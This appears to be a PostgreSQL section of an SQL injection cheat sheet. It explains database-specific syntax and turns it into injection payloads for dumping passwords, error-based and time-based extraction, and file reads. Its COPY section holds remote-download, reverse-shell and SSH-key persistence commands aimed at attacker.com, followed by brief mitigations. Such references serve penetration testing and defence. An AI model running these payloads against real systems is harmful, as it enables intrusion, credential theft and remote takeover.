PostgreSQL-specific Code
PostgreSQL provides several unique syntax features and functions that can be leveraged in SQL injection attacks. Understanding these PostgreSQL-specific techniques can help bypass filters and execute complex injections.
Dollar-Quoted Strings
PostgreSQL’s unique string quoting mechanism allows strings without single quotes:
-- Standard dollar quotes
SELECT $$This is a string$$;
-- Tagged dollar quotes (useful for nesting)
SELECT $tag$This string contains $$nested$$ quotes$tag$;
-- In injection context
' UNION SELECT $$admin$$, $$password$$ --
This is extremely useful for bypassing single-quote filters.
Type Cast Shorthand (::)
PostgreSQL’s :: cast operator is unique and useful for database detection:
-- Cast string to integer
SELECT '123'::int;
-- Cast to various types
SELECT 1::boolean; -- true
SELECT '2025-01-01'::date;
SELECT 123::text;
SELECT '192.168.1.1'::inet;
-- Array casts
SELECT '{1,2,3}'::int[];
-- For database detection (fails on MySQL/MSSQL)
' AND 1::int=1 --
RETURNING Clause
PostgreSQL allows returning data from INSERT, UPDATE, and DELETE:
-- Return inserted data
INSERT INTO users (username) VALUES ('test') RETURNING id, username;
-- Return updated data
UPDATE users SET password='new' WHERE id=1 RETURNING *;
-- Return deleted data
DELETE FROM users WHERE id=1 RETURNING username, password;
-- In injection context
'; INSERT INTO log (data) VALUES ('x') RETURNING (SELECT password FROM users LIMIT 1) --
Array Syntax
PostgreSQL has native array support:
-- Array literals
SELECT ARRAY[1, 2, 3];
SELECT '{1,2,3}'::int[];
-- Array access (1-indexed)
SELECT (ARRAY['a','b','c'])[1]; -- Returns 'a'
-- Array functions
SELECT array_agg(username) FROM users;
SELECT unnest(ARRAY[1,2,3]);
-- In injection for aggregation
' UNION SELECT 1, array_to_string(array_agg(username), ':') FROM users --
PostgreSQL-specific Functions
Functions unique to PostgreSQL:
| Function | Description |
|---|---|
string_agg() | Aggregate strings (like GROUP_CONCAT in MySQL) |
array_agg() | Aggregate into array |
generate_series() | Generate a series of values |
regexp_matches() | Return regex matches as array |
regexp_replace() | Replace using regex |
query_to_xml() | Execute query and return XML |
table_to_xml() | Export table as XML |
pg_sleep() | Sleep for specified seconds |
pg_read_file() | Read file from server |
pg_ls_dir() | List directory contents |
String Aggregation
-- Aggregate all usernames into single string
SELECT string_agg(username, ',') FROM users;
-- With ordering
SELECT string_agg(username, ',' ORDER BY username) FROM users;
-- Distinct values
SELECT string_agg(DISTINCT role, ',') FROM users;
Generate Series
Useful for brute-force and enumeration:
-- Generate numbers 1-10
SELECT generate_series(1, 10);
-- Generate dates
SELECT generate_series('2025-01-01'::date, '2025-01-10'::date, '1 day');
-- Character enumeration (for blind injection)
SELECT chr(n) FROM generate_series(32, 126) AS n;
XML Helper Functions
Extract data in XML format (bypasses output restrictions):
-- Query results as XML
SELECT query_to_xml('SELECT * FROM users', true, true, '');
-- Single table as XML
SELECT table_to_xml('users', true, true, '');
-- Entire database as XML (extracts all data - use with caution, large output)
SELECT database_to_xml(true, true, '');
-- Database schema/structure only (metadata, not data)
SELECT database_to_xmlschema(true, true, '');
-- In UNION injection
' UNION SELECT 1, query_to_xml('SELECT password FROM users',true,true,'')::text --
COPY Command
PostgreSQL’s COPY is unique and powerful for file I/O and command execution. See also: Reading Files and Command Execution.
Permission Requirements:
| Operation | Required Privilege |
|---|---|
COPY ... TO FILE | Superuser or pg_write_server_files (PostgreSQL 11+) |
COPY ... FROM FILE | Superuser or pg_read_server_files (PostgreSQL 11+) |
COPY ... TO PROGRAM | Superuser or pg_execute_server_program (PostgreSQL 11+) |
COPY ... FROM PROGRAM | Superuser or pg_execute_server_program (PostgreSQL 11+) |
COPY ... FROM STDIN | Table INSERT privilege only (no file/program access) |
File Read (requires pg_read_server_files or superuser):
-- Read file contents into a table
CREATE TEMP TABLE file_contents (line TEXT);
COPY file_contents FROM '/etc/passwd';
SELECT * FROM file_contents;
-- In injection context (stacked query)
'; CREATE TEMP TABLE t(c TEXT); COPY t FROM '/etc/passwd'; --
File Write (requires pg_write_server_files or superuser):
-- Write query results to file
COPY (SELECT 'malicious content') TO '/tmp/evil.txt';
-- Write SSH key for persistence
COPY (SELECT '-----BEGIN RSA PRIVATE KEY-----...') TO '/root/.ssh/authorized_keys';
Command Execution (requires pg_execute_server_program or superuser):
-- Execute OS command and capture output
CREATE TEMP TABLE cmd_output (line TEXT);
COPY cmd_output FROM PROGRAM 'id; whoami; uname -a';
SELECT * FROM cmd_output;
-- Execute command without capturing output
COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/shell.sh | bash';
-- Reverse shell
COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"';
COPY FROM STDIN (lower privilege, requires INSERT only):
-- Used in multi-statement injection when you control input stream
COPY users (username, password) FROM STDIN;
attacker hacked
\.
Mitigation:
- Never grant
pg_read_server_files,pg_write_server_files, orpg_execute_server_programto application users - Use connection poolers (PgBouncer) in transaction mode which blocks multi-statement COPY attacks
- Disable
COPY ... PROGRAMat compile time if not needed (--disable-copy-program) - Monitor for COPY commands in query logs
Large Objects
PostgreSQL’s large object system for file operations:
-- Create large object from file
SELECT lo_import('/etc/passwd'); -- Returns OID
-- Read large object
SELECT convert_from(lo_get(16444), 'UTF8');
-- Write large object to file
SELECT lo_export(16444, '/tmp/output.txt');
-- Create large object from data
SELECT lo_from_bytea(0, 'file content'::bytea);
-- Delete large object
SELECT lo_unlink(16444);
PL/pgSQL Anonymous Blocks
Execute procedural code without creating a function:
DO $$
BEGIN
RAISE NOTICE 'PostgreSQL version: %', version();
END
$$;
-- With variable
DO $$
DECLARE
pwd TEXT;
BEGIN
SELECT password INTO pwd FROM users WHERE username = 'admin';
RAISE NOTICE 'Password: %', pwd;
END
$$;
Error-Based Data Extraction
PostgreSQL-specific error-based techniques:
-- Using CAST to reveal data in errors
SELECT CAST(version() AS int);
-- Error: invalid input syntax for type integer: "PostgreSQL 15.4..."
-- Using :: shorthand
SELECT (SELECT password FROM users LIMIT 1)::int;
-- Error: invalid input syntax for type integer: "secret_password"
-- With markers for easy extraction
SELECT ('~' || (SELECT version()) || '~')::int;
-- Error: invalid input syntax for type integer: "~PostgreSQL 15.4~"
Conditional Expressions
PostgreSQL CASE expressions:
-- Simple CASE
SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END;
-- With subquery for blind injection
SELECT CASE WHEN (SELECT COUNT(*) FROM users WHERE username='admin')>0
THEN pg_sleep(5) ELSE pg_sleep(0) END;
-- COALESCE for NULL handling
SELECT COALESCE(NULL, 'default');
-- NULLIF
SELECT NULLIF(1, 1); -- Returns NULL
SELECT NULLIF(1, 2); -- Returns 1
Regular Expression Operators
PostgreSQL has powerful regex support:
-- POSIX regex match
SELECT 'admin' ~ '^a'; -- true
SELECT 'admin' ~* '^A'; -- true (case-insensitive)
-- Not match
SELECT 'admin' !~ '^b'; -- true
-- SIMILAR TO (SQL standard)
SELECT 'admin' SIMILAR TO 'a%';
-- Regex functions
SELECT regexp_matches('admin123', '([a-z]+)([0-9]+)');
SELECT regexp_replace('admin123', '[0-9]', 'X', 'g');
PostgreSQL Information Tables
PostgreSQL uses both information_schema and pg_catalog:
-- Standard information_schema
SELECT table_name FROM information_schema.tables;
SELECT column_name FROM information_schema.columns WHERE table_name='users';
-- PostgreSQL-specific pg_catalog
SELECT tablename FROM pg_tables WHERE schemaname='public';
SELECT attname FROM pg_attribute WHERE attrelid='users'::regclass AND attnum > 0;
-- System catalogs
SELECT datname FROM pg_database;
SELECT rolname FROM pg_roles;
SELECT usename FROM pg_user;
Session Variables
Unlike MySQL’s @@variables, PostgreSQL uses functions:
-- Current settings
SELECT current_setting('server_version');
SELECT current_setting('data_directory');
SELECT current_setting('log_directory');
-- Set session variable
SET myvar.test = 'value';
SELECT current_setting('myvar.test');
-- GUC variables
SHOW ALL;
SHOW server_version;
SHOW data_directory;
Prepared Statements (Dynamic SQL)
Execute dynamic SQL:
-- Prepare and execute
PREPARE stmt AS SELECT * FROM users WHERE id = $1;
EXECUTE stmt(1);
DEALLOCATE stmt;
-- Using EXECUTE in PL/pgSQL
DO $$
BEGIN
EXECUTE 'SELECT * FROM users WHERE id = ' || 1;
END
$$;
Version-specific Features
JSON (9.2+), JSONB (9.4+)
JSON functions are useful for extracting structured data:
-- JSON (9.2+): Extract values
SELECT '{"user":"admin","pass":"secret"}'::json->>'pass';
-- JSONB (9.4+): Binary JSON with indexing and containment operators
SELECT '{"a":1}'::jsonb @> '{"a":1}'::jsonb; -- Containment check
-- Extract from JSON columns in injection
' UNION SELECT 1, config::json->>'db_password' FROM settings --
-- Aggregate to JSON for exfiltration
SELECT json_agg(row_to_json(u)) FROM users u;
Procedures (11+)
PostgreSQL 11+ supports stored procedures with CALL. Exploiting procedures requires prior enumeration to discover procedure names and signatures.
Enumerating Procedures:
-- List all user-defined procedures (not functions)
SELECT n.nspname AS schema, p.proname AS procedure, pg_get_function_arguments(p.oid) AS args
FROM pg_proc p
JOIN pg_namespace n ON p.pronamespace = n.oid
WHERE p.prokind = 'p' -- 'p' = procedure (vs 'f' = function)
AND n.nspname NOT IN ('pg_catalog', 'information_schema');
-- Find procedures with interesting names
SELECT proname FROM pg_proc WHERE prokind = 'p'
AND proname ~* '(admin|password|reset|auth|user|delete|update)';
Calling Procedures in Injection Context:
-- Direct CALL (if you know the procedure name and arguments)
CALL schema.procedure_name(arg1, arg2);
-- In stacked query injection (requires knowing procedure signature)
'; CALL admin_reset_password('attacker', 'newpass') --
-- Enumerate first, then exploit
'; SELECT proname, pg_get_function_arguments(oid) FROM pg_proc WHERE prokind='p' --
Note: Unlike functions, procedures cannot be called in SELECT statements—they require the CALL statement, which typically needs stacked query support in the injection context.
Other Version Features
| Version | Feature | Injection Relevance |
|---|---|---|
| 9.1+ | pg_read_binary_file() | File reading without encoding issues |
| 9.6+ | Parallel query | Performance only, not directly exploitable |
| 10+ | Logical replication | Administrative, requires superuser |
| 12+ | Generated columns | Schema feature, not directly exploitable |
Key Differences from MySQL
| Feature | PostgreSQL | MySQL |
|---|---|---|
| String quotes | 'single' or $$dollar$$ | 'single' or "double" |
| Concatenation | || | CONCAT() or with || if PIPES_AS_CONCAT |
| Type cast | ::type or CAST() | CAST() only |
| Regex | ~, ~*, !~ | REGEXP |
| String aggregation | string_agg() | GROUP_CONCAT() |
| Boolean | true/false | TRUE/FALSE or 1/0 |
| System variables | current_setting() | @@variable |
| Auto increment | SERIAL or GENERATED | AUTO_INCREMENT |